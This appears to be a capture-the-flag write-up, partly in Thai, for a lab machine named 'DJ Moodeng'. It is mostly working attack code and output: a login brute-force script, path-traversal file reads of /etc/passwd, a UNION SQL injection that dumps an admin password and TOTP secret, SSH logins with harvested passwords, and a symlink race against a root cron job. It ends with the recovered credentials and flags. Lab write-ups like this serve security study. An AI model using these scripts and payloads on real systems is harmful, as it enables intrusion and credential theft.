DDJ MOODENG

curl.exe -i http://10.88.128.24/

Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express

import requests

base = "http://10.88.128.24/login"
users = ["support", "moodeng", "djmoodeng", "dj", "admin", "root"]
passwords = [
    "support2026",
    "moodeng2026",
    "MooDeng2026!",
    "DJMooDeng2026!",
    "password",
    "123456",
]

for u in users:
    for p in passwords:
        r = requests.post(
            base,
            data={"username": u, "password": p},
            allow_redirects=False,
            timeout=4,
        )
        if r.status_code in (301, 302) and r.headers.get("Location") != "/login":
            print("HIT", u, p, r.headers.get("Location"))
            raise SystemExit

support:support2026

import requests

s = requests.Session()
s.post("http://10.88.128.24/login", data={
    "username": "support",
    "password": "support2026",
})

r = s.get(
    "http://10.88.128.24/listen?track=../../../../etc/passwd",
    stream=True,
    timeout=10,
)

print(r.status_code, r.headers.get("Content-Type"))
print(next(r.iter_content(256)).decode(errors="replace"))

200 application/octet-stream
root:x:0:0:root:/root:/bin/bash
moodeng:x:1000:1000::/home/moodeng:/bin/bash
azuracast:x:999:999::/var/azuracast:/bin/bash
nodeapp:x:998:998::/home/nodeapp:/usr/sbin/nologin

const TRACKS_DIR = "/var/azuracast/tracks/";
const filePath = path.join(TRACKS_DIR, track);
fs.stat(filePath, ...)
fs.createReadStream(filePath).pipe(res);

server-public.js
server-staging.js
server-admin.js
db.js
db-staging.js

public app:
- /listen มี LFI

staging admin:
- /login ต่อ SQL ด้วย string concat
- มี UNION SQL Injection

production admin:
- login ใช้ prepared statement
- มี TOTP
- มี /api/files สำหรับ list directory หลังเป็น admin

database:
- user: djmoodeng
- password: app_db_pass_2026
- database: djmoodeng

import requests

hosts = [
    "djmoodeng.ctf",
    "admin.djmoodeng.ctf",
    "staging.djmoodeng.ctf",
    "staging-admin.djmoodeng.ctf",
]

for h in hosts:
    r = requests.get(
        "http://10.88.128.24/login",
        headers={"Host": h},
        timeout=5,
    )
    print(h, r.status_code, r.text[:80].replace("\n", " "))

admin.djmoodeng.ctf
staging-admin.djmoodeng.ctf

const sql = `SELECT id, username, role FROM users
             WHERE username='${username}' AND password='${password}' LIMIT 1`;

x' UNION SELECT 1,
concat(username,0x3a,password,0x3a,ifnull(totp_secret,'')),
'admin'
FROM djmoodeng.users
WHERE role='admin'
LIMIT 1-- -

import requests

base = "http://10.88.128.24"
host = "staging-admin.djmoodeng.ctf"

payload = (
    "x' UNION SELECT 1,"
    "concat(username,0x3a,password,0x3a,ifnull(totp_secret,'')),"
    "'admin' FROM djmoodeng.users WHERE role='admin' LIMIT 1-- -"
)

s = requests.Session()
s.post(
    base + "/login",
    headers={"Host": host},
    data={"username": payload, "password": "x"},
    allow_redirects=False,
)

r = s.get(base + "/dashboard", headers={"Host": host})
print(r.text)

admin:M00deng_2026!:JBSWY3DPEHPK3PXP

username: admin
password: M00deng_2026!
TOTP secret: JBSWY3DPEHPK3PXP

import time
import hmac
import hashlib
import base64
import struct

def totp(secret, interval=30, digits=6):
    key = base64.b32decode(secret, casefold=True)
    counter = int(time.time() // interval)
    msg = struct.pack(">Q", counter)
    digest = hmac.new(key, msg, hashlib.sha1).digest()
    off = digest[-1] & 0x0f
    code = (struct.unpack(">I", digest[off:off+4])[0] & 0x7fffffff) % (10 ** digits)
    return str(code).zfill(digits)

print(totp("JBSWY3DPEHPK3PXP"))

app.post("/api/files", requireAdmin, (req, res) => {
  const dirPath = (req.body && req.body.path) || "/var/azuracast/tracks";
  fs.readdir(dirPath, { withFileTypes: true }, ...)
});

rr = s.post(
    "http://10.88.128.24/api/files",
    headers={"Host": "admin.djmoodeng.ctf"},
    json={"path": "/home/moodeng"},
)
print(rr.text)

{
  "path": "/home/moodeng",
  "entries": [
    {"name": ".bash_logout", "type": "file"},
    {"name": ".bashrc", "type": "file"},
    {"name": ".profile", "type": "file"},
    {"name": ".ssh", "type": "dir"},
    {"name": "user.txt", "type": "file"}
  ]
}

r = s.get(
    "http://10.88.128.24/listen?track=../../../../home/moodeng/user.txt",
    stream=True,
    timeout=10,
)

print(r.content.decode())

WANLAI{a11637f78482aa9e2e856e2ebf24adb5}

/entrypoint.sh
/etc/cron.d/azuracast-process
/usr/local/bin/randomize-flags.sh
/opt/scripts/process-uploads.sh

echo 'moodeng:Sn3ak!ng_H1pp0_2026' | chpasswd
echo 'azuracast:Az5r4_R@d10_2026' | chpasswd

ssh moodeng@10.88.128.24

Sn3ak!ng_H1pp0_2026

id
cat ~/user.txt

uid=1000(moodeng) gid=1000(moodeng) groups=1000(moodeng)
WANLAI{a11637f78482aa9e2e856e2ebf24adb5}

ssh azuracast@10.88.128.24

Az5r4_R@d10_2026

* * * * * root /opt/scripts/process-uploads.sh

if [ -L "$f" ]; then
    continue
fi
if [ "$(stat -c %U "$f")" != "azuracast" ]; then
    continue
fi

sleep 0.3

cp "$f" "$dest"
chmod 644 "$dest"
chown root:root "$dest"

#!/bin/bash
set -eu

U=/var/azuracast/uploads/rootleak.mp3
P=/var/azuracast/processed/rootleak.mp3

rm -f "$U" "$P"

(
  while true; do
    rm -f "$U"
    printf 'SAFE' > "$U"
    sleep 0.08
    rm -f "$U"
    ln -s /root/root.txt "$U"
    sleep 0.42
  done
) &

RACER=$!

cleanup() {
  kill $RACER 2>/dev/null || true
  rm -f "$U"
}
trap cleanup EXIT

for i in $(seq 1 180); do
  if [ -f "$P" ]; then
    echo '---FOUND FILE---'
    ls -l "$P"
    echo '---CONTENT---'
    cat "$P"
    exit 0
  fi
  sleep 1
done

echo 'timeout'
exit 1

---FOUND FILE---
-rw-r--r-- 1 root root 41 ... /var/azuracast/processed/rootleak.mp3
---CONTENT---
WANLAI{852bef8b4793fcf1b2349f5269d79f5d}

1. เจอ public site ที่ 10.88.128.24
2. หา seeded account ได้ support:support2026
3. ใช้ support เข้า Listen Lounge
4. เจอ LFI ที่ /listen?track=
5. ใช้ LFI อ่าน source code และ config
6. เจอ staging-admin.djmoodeng.ctf มี SQL Injection
7. ใช้ SQLi ดึง production admin password และ TOTP secret
8. เข้า admin.djmoodeng.ctf สำเร็จ
9. ใช้ /api/files ช่วยยืนยัน path ต่าง ๆ
10. อ่าน user.txt ผ่าน LFI
11. อ่าน entrypoint.sh แล้วได้ system credentials
12. SSH เป็น moodeng และ azuracast
13. เจอ cron root ที่มี TOCTOU race
14. race symlink ไป /root/root.txt
15. ได้ root.txt

Public account:
support:support2026

Staging admin host:
staging-admin.djmoodeng.ctf

Production admin:
admin:M00deng_2026!
TOTP secret: JBSWY3DPEHPK3PXP

System users:
moodeng:Sn3ak!ng_H1pp0_2026
azuracast:Az5r4_R@d10_2026

user.txt = WANLAI{a11637f78482aa9e2e856e2ebf24adb5}
root.txt = WANLAI{852bef8b4793fcf1b2349f5269d79f5d}